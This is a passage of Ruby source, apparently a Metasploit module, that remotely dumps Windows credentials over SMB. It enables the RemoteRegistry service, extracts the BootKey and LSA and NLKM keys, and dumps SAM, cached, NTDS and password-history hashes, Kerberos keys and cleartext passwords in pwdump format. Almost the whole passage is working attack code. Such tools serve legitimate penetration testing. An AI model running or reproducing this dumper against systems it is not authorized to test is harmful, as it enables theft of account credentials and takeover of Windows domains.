hash = "#{info[:lm_hash].unpack('H*')[0]}:#{info[:nt_hash].unpack('H*')[0]}"
full_name = info[:domain_name].blank? ? info[:username] : "#{info[:domain_name]}\\#{info[:username]}"
pwdump = "#{full_name}:#{info[:rid]}:#{hash}:"
extra_info = "Disabled=#{info[:disabled].nil? ? 'N/A' : info[:disabled]},"
extra_info << "Expired=#{!info[:disabled] && info[:expires] && info[:expires] > Time.at(0) && info[:expires] < Time.now},"
extra_info << "PasswordNeverExpires=#{info[:password_never_expires].nil? ? 'N/A' : info[:password_never_expires]},"
extra_info << "PasswordNotRequired=#{info[:password_not_required].nil? ? 'N/A' : info[:password_not_required]},"
extra_info << "PasswordLastChanged=#{info[:pwd_last_set] && info[:pwd_last_set] > Time.at(0) ? info[:pwd_last_set].strftime('%Y%m%d%H%M') : 'never'},"
extra_info << "LastLogonTimestamp=#{info[:last_logon] && info[:last_logon] > Time.at(0) ? info[:last_logon].strftime('%Y%m%d%H%M') : 'never'},"
extra_info << "IsAdministrator=#{info[:admin]},"
extra_info << "IsDomainAdmin=#{info[:domain_admin]},"
extra_info << "IsEnterpriseAdmin=#{info[:enterprise_admin]}"
print_line(pwdump + extra_info + '::')
report_info("#{full_name} (#{sid}): #{extra_info}", 'user.info')
end
print_line("\n# Account Info:")
user_info.each_value do |info|
print_line("## #{info[:dn]}")
print_line("- Administrator: #{info[:admin]}")
print_line("- Domain Admin: #{info[:domain_admin]}")
print_line("- Enterprise Admin: #{info[:enterprise_admin]}")
print_line("- Password last changed: #{info[:pwd_last_set] && info[:pwd_last_set] > Time.at(0) ? info[:pwd_last_set] : 'never'}")
print_line("- Last logon: #{info[:last_logon] && info[:last_logon] > Time.at(0) ? info[:last_logon] : 'never'}")
print_line("- Account disabled: #{info[:disabled].nil? ? 'N/A' : info[:disabled]}")
print_line("- Computer account: #{info[:computer_account].nil? ? 'N/A' : info[:computer_account]}")
print_line("- Expired: #{!info[:disabled] && info[:expires] && info[:expires] > Time.at(0) && info[:expires] < Time.now}")
print_line("- Password never expires: #{info[:password_never_expires].nil? ? 'N/A' : info[:password_never_expires]}")
print_line("- Password not required: #{info[:password_not_required].nil? ? 'N/A' : info[:password_not_required]}")
end
print_line("\n# Password history (pwdump format - uid:rid:lmhash:nthash:::):")
if @lm_hash_not_stored.nil?
print_warning(
'NoLMHash policy was not retrieved correctly and we don\'t know if '\
'LMHashes are being stored or not. We are assuming it is stored and '\
'the lmhash value will be displayed in the following hash. If it is '\
"not stored, just replace it with the empty lmhash (#{Net::NTLM.lm_hash('').unpack('H*')[0]})"
)
end
user_info.each_value do |info|
full_name = info[:domain_name].blank? ? info[:username] : "#{info[:domain_name]}\\#{info[:username]}"
if info[:nt_history].size > 1 || info[:lm_history].size > 1
info[:nt_history][1..].zip(info[:lm_history][1..]).reverse.each_with_index do |history, i|
nt_h, lm_h = history
lm_h = Net::NTLM.lm_hash('') if lm_h.nil? || @lm_hash_not_stored
history_hash = "#{lm_h.unpack('H*')[0]}:#{nt_h.unpack('H*')[0]}"
history_name = "#{full_name}_history#{i}"
unless report_creds(history_name, history_hash, **credential_opts)
vprint_bad("Error when reporting #{full_name} history hash ##{i}")
end
print_line("#{history_name}:#{info[:rid]}:#{history_hash}:::")
end
else
vprint_line("No password history for #{full_name}")
end
end
print_line("\n# Kerberos keys:")
user_info.each_value do |info|
full_name = info[:domain_name].blank? ? info[:username] : "#{info[:domain_name]}\\#{info[:username]}"
if info[:kerberos_keys].nil? || info[:kerberos_keys].empty?
vprint_line("No Kerberos keys for #{full_name}")
else
credential_opts[:type] = :krb_enc_key
info[:kerberos_keys].each do |key|
krb_enckey = {
**key,
# Map the SAMR kerberos key to an IANA compatible enctype before persisting
enctype: SAMR_KERBEROS_TYPE_TO_IANA[key[:enctype]]
}
krb_enckey_to_s = krb_enc_key_to_s(krb_enckey)
key_data = Metasploit::Credential::KrbEncKey.build_data(**krb_enckey)
unless report_creds(full_name, key_data, **credential_opts)
vprint_bad("Error when reporting #{full_name} kerberos key #{krb_enckey_to_s}")
end
print_line "#{full_name}:#{krb_enckey_to_s}"
end
end
end
print_line("\n# Clear text passwords:")
user_info.each_value do |info|
full_name = "#{domain_name}\\#{info[:username]}"
if info[:clear_text_passwords].nil? || info[:clear_text_passwords].empty?
vprint_line("No clear text passwords for #{full_name}")
else
credential_opts[:type] = :password
info[:clear_text_passwords].each do |passwd|
unless report_creds(full_name, passwd, **credential_opts)
vprint_bad("Error when reporting #{full_name} clear text password")
end
print_line("#{full_name}:CLEARTEXT:#{passwd}")
end
end
end
ensure
@samr.close_handle(@domain_handle) if @domain_handle
@samr.close_handle(@builtin_domain_handle) if @builtin_domain_handle
@samr.close_handle(@server_handle) if @server_handle
@samr.close if @samr
if dcerpc_client
dcerpc_client.drs_unbind(ph_drs)
dcerpc_client.close
end
end
def do_cleanup
print_status('Cleaning up...')
if @service_should_be_stopped
print_status('Stopping service RemoteRegistry...')
svc_handle = @svcctl.open_service_w(@scm_handle, 'RemoteRegistry')
@svcctl.control_service(svc_handle, RubySMB::Dcerpc::Svcctl::SERVICE_CONTROL_STOP)
end
if @service_should_be_disabled
print_status('Disabling service RemoteRegistry...')
@svcctl.change_service_config_w(svc_handle, start_type: RubySMB::Dcerpc::Svcctl::SERVICE_DISABLED)
end
rescue RubySMB::Dcerpc::Error::SvcctlError => e
vprint_warning("An error occurred when cleaning up: #{e}")
ensure
@svcctl.close_service_handle(svc_handle) if svc_handle
end
def open_sc_manager
vprint_status('Opening Service Control Manager')
@svcctl = @tree.open_file(filename: 'svcctl', write: true, read: true)
vprint_status('Binding to \\svcctl...')
@svcctl.bind(endpoint: RubySMB::Dcerpc::Svcctl)
vprint_good('Bound to \\svcctl')
@svcctl.open_sc_manager_w(simple.address)
end
def run
unless db
print_warning('Cannot find any active database. Extracted data will only be displayed here and NOT stored.')
end
if session
print_status("Using existing session #{session.sid}")
client = session.client
self.simple = ::Rex::Proto::SMB::SimpleClient.new(client.dispatcher.tcp_socket, client: client)
simple.connect("\\\\#{simple.address}\\IPC$") # smb_login connects to this share for some reason and it doesn't work unless we do too
else
connect
begin
smb_login
rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e
fail_with(Module::Failure::NoAccess, "Unable to authenticate ([#{e.class}] #{e}).")
end
end
report_service(
host: simple.address,
port: simple.port,
host_name: simple.client.default_name,
proto: 'tcp',
name: 'smb',
info: "Module: #{fullname}, last negotiated version: SMBv#{simple.client.negotiated_smb_version} (dialect = #{simple.client.dialect})"
)
begin
@tree = simple.client.tree_connect("\\\\#{simple.address}\\IPC$")
rescue RubySMB::Error::RubySMBError => e
fail_with(Module::Failure::Unreachable,
"Unable to connect to the remote IPC$ share ([#{e.class}] #{e}).")
end
begin
@scm_handle = open_sc_manager
rescue RubySMB::Error::RubySMBError => e
print_warning(
'Unable to connect to the remote Service Control Manager. It will fail '\
"if the 'RemoteRegistry' service is stopped or disabled ([#{e.class}] #{e})."
)
end
begin
enable_registry if @scm_handle
rescue RubySMB::Error::RubySMBError => e
print_error(
"Error when checking/enabling the 'RemoteRegistry' service. It will "\
"fail if it is stopped or disabled ([#{e.class}] #{e})."
)
end
begin
@winreg = @tree.open_file(filename: 'winreg', write: true, read: true)
@winreg.bind(endpoint: RubySMB::Dcerpc::Winreg)
rescue RubySMB::Error::RubySMBError => e
if ['DOMAIN', 'ALL'].include?(action.name)
print_warning(
"Error when connecting to 'winreg' interface ([#{e.class}] #{e})... skipping"
)
else
fail_with(Module::Failure::Unreachable,
"Error when connecting to 'winreg' interface ([#{e.class}] #{e})."\
'If it is a Domain Controller, you can still try DOMAIN action since '\
'it does not need RemoteRegistry')
end
end
unless action.name == 'DOMAIN'
boot_key = ''
begin
boot_key = get_boot_key if @winreg
rescue RubySMB::Error::RubySMBError => e
if ['DOMAIN', 'ALL'].include?(action.name)
print_warning("Error when getting BootKey... skipping: #{e}")
else
print_error("Error when getting BootKey: #{e}")
end
end
if boot_key.empty?
if action.name == 'ALL'
print_warning('Unable to get BootKey... skipping')
else
fail_with(Module::Failure::NotFound,
'Unable to get BootKey. If it is a Domain Controller, you can still '\
'try DOMAIN action since it does not need BootKey')
end
end
report_info(boot_key.unpack('H*')[0], 'host.boot_key')
end
check_lm_hash_not_stored if @winreg
if ['ALL', 'SAM'].include?(action.name)
if @winreg
if datastore['INLINE']
print_status('Using `INLINE` technique for SAM')
windows_reg = Msf::Util::WindowsRegistry::RemoteRegistry.new(@winreg, name: :sam, inline: true)
else
begin
sam = save_sam
windows_reg = Msf::Util::WindowsRegistry.parse(sam, name: :sam, root: 'HKLM\\SAM')
rescue RubySMB::Error::RubySMBError => e
print_error("Error when getting SAM hive ([#{e.class}] #{e})")
end
end
dump_sam_hashes(windows_reg, boot_key) if windows_reg
else
print_bad('Winreg client is not initialized, cannot dump SAM hashes')
end
end
if ['ALL', 'CACHE', 'LSA'].include?(action.name)
if @winreg
if datastore['INLINE']
print_status('Using `INLINE` technique for CACHE and LSA')
windows_reg = Msf::Util::WindowsRegistry::RemoteRegistry.new(@winreg, name: :security, inline: true)
else
begin
security = save_security
windows_reg = Msf::Util::WindowsRegistry.parse(security, name: :security, root: 'HKLM\\SECURITY')
rescue RubySMB::Error::RubySMBError => e
print_error("Error when getting SECURITY hive ([#{e.class}] #{e})")
end
end
if windows_reg
lsa_key = get_lsa_secret_key(windows_reg, boot_key)
if lsa_key.nil? || lsa_key.empty?
print_warning('No LSA key, skip LSA secrets and cached hashes dump')
if datastore['INLINE']
print_warning('This might be expected or you can still try again with the `INLINE` option set to false')
end
else
report_info(lsa_key.unpack('H*')[0], 'host.lsa_key')
if ['ALL', 'LSA'].include?(action.name)
dump_lsa_secrets(windows_reg, lsa_key)
end
if ['ALL', 'CACHE'].include?(action.name)
nlkm_key = get_nlkm_secret_key(windows_reg, lsa_key)
if nlkm_key.nil? || nlkm_key.empty?
print_warning('No NLKM key (skip cached hashes dump)')
if datastore['INLINE']
print_warning('This might be expected or you can still try again with the `INLINE` option set to false')
end
else
report_info(nlkm_key.unpack('H*')[0], 'host.nlkm_key')
dump_cached_hashes(windows_reg, nlkm_key)
end
end
end
end
else
print_bad('Winreg client is not initialized, cannot dump LSA secrets and cached hashes')
end
end
if ['ALL', 'DOMAIN'].include?(action.name)
dump_ntds_hashes
end
do_cleanup
rescue RubySMB::Error::RubySMBError => e
fail_with(Module::Failure::UnexpectedReply, "[#{e.class}] #{e}")
rescue Rex::ConnectionError => e
fail_with(Module::Failure::Unreachable, "[#{e.class}] #{e}")
rescue ::StandardError => e
do_cleanup
raise e
ensure
if @svcctl
@svcctl.close_service_handle(@scm_handle) if @scm_handle
@svcctl.close
end
@winreg.close if @winreg
@tree.disconnect! if @tree
# Don't disconnect the client if it's coming from the session so it can be reused
unless session
simple.client.disconnect! if simple&.client.is_a?(RubySMB::Client)
disconnect
end
end
private
# @param [Hash] data The keyberos enc key, containing enctype, key and salt
def krb_enc_key_to_s(data)
enctype_name = Rex::Proto::Kerberos::Crypto::Encryption::IANA_NAMES[data[:enctype]] || "0x#{data[:enctype].to_i.to_s(16)}"
"#{enctype_name}:#{data[:key].unpack1('H*')}"
end
end